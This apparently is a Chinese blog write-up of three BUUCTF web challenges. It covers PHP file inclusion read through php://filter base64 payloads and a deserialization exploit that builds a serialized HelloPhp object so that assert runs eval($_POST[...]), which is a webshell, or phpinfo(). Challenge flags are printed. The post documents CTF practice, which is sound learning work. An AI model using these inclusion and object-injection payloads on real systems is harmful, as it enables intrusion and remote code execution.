BUUCTF(13)

104 阅读1分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[极客大挑战 2019]Secret File

打开发现就是一个网页,没啥提示,所以F12查看一下

发现提示

http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/Archive_room.php

进去后有个按钮,点击后也没啥

 

根据所说的提示,怀疑跳转时有啥秘密,用BP抓下包

发现秘密

<html>
<!--
       secr3t.php    
-->
</html>

打开这个PHP文件

<html>
    <title>secret</title>
    <meta charset="UTF-8">
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>
</html>

尝试访问下flag.php

弹出个网页说我就在这里,此路行不通

那我们看代码,过滤了../,tp,input

所以我们尝试下file伪协议进行文件读取

构造payload

http://d69343e1-7e99-4108-8556-da4ba3e79eb4.node4.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

出了个BASE64解码

 $flag = 'flag{e7cb31bd-65b9-42fb-a0f5-87e831710500}';
                $secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'

[ACTF2020 新生赛]Include

 

题目提示了是文件包含类型的题,我们点击TIPS

考虑到flag藏在flag.php里

我们要读取源码,联想到之前学习时文件包含中对伪协议的利用构造payload

?file=php://filter/read=convert.base64-encode/resource=flag.php

得出了

PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7MjA5ZGNmZmMtOTVkNy00NTM5LTg4YmMtZGU4ZjJkMWM4MDQ3fQo=

直接base64转码

flag{209dcffc-95d7-4539-88bc-de8f2d1c8047}

NPUCTF2020]ReadlezPHP

F12看见源码

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}
@$ppp = unserialize($_GET["data"]); 

__destruct()魔术方法中

b包含了a

利用assert()函数

assert 判断一个表达式是否成立

assert()可以将整个字符串参数当作php参数执行。

所以构造木马

assert(eval($_POST[penson]);)

我们可以写个解题脚本

<?php
error_reporting(1);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}


$test = new HelloPhp();
$test->b = 'assert';
$test->a = 'eval($_POST[penson]);';


echo urlencode(serialize($test));




?>
  1. 需要我们输入data参数,之后将data参数反序列化执行
  2. HelloPhp这个类的析构函数会执行echo $b($a)代码,当b=system,a=phpinfo()时,会执行函数查看到phpinfo界面
  3. 可以构建HelloPhp的序列化字符串,data传入时反序列化就会执行析构函数
  4. 获取HelloPhp类的序列化字符串:这里屏蔽了system,改用了assert
<?php  


class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
}


$a = serialize(new HelloPhp);
echo $a;
?> 
结果:O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
 http://e55cd88e-5579-49c9-b87c-ee1670605995.node4.buuoj.cn:81/time.php?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}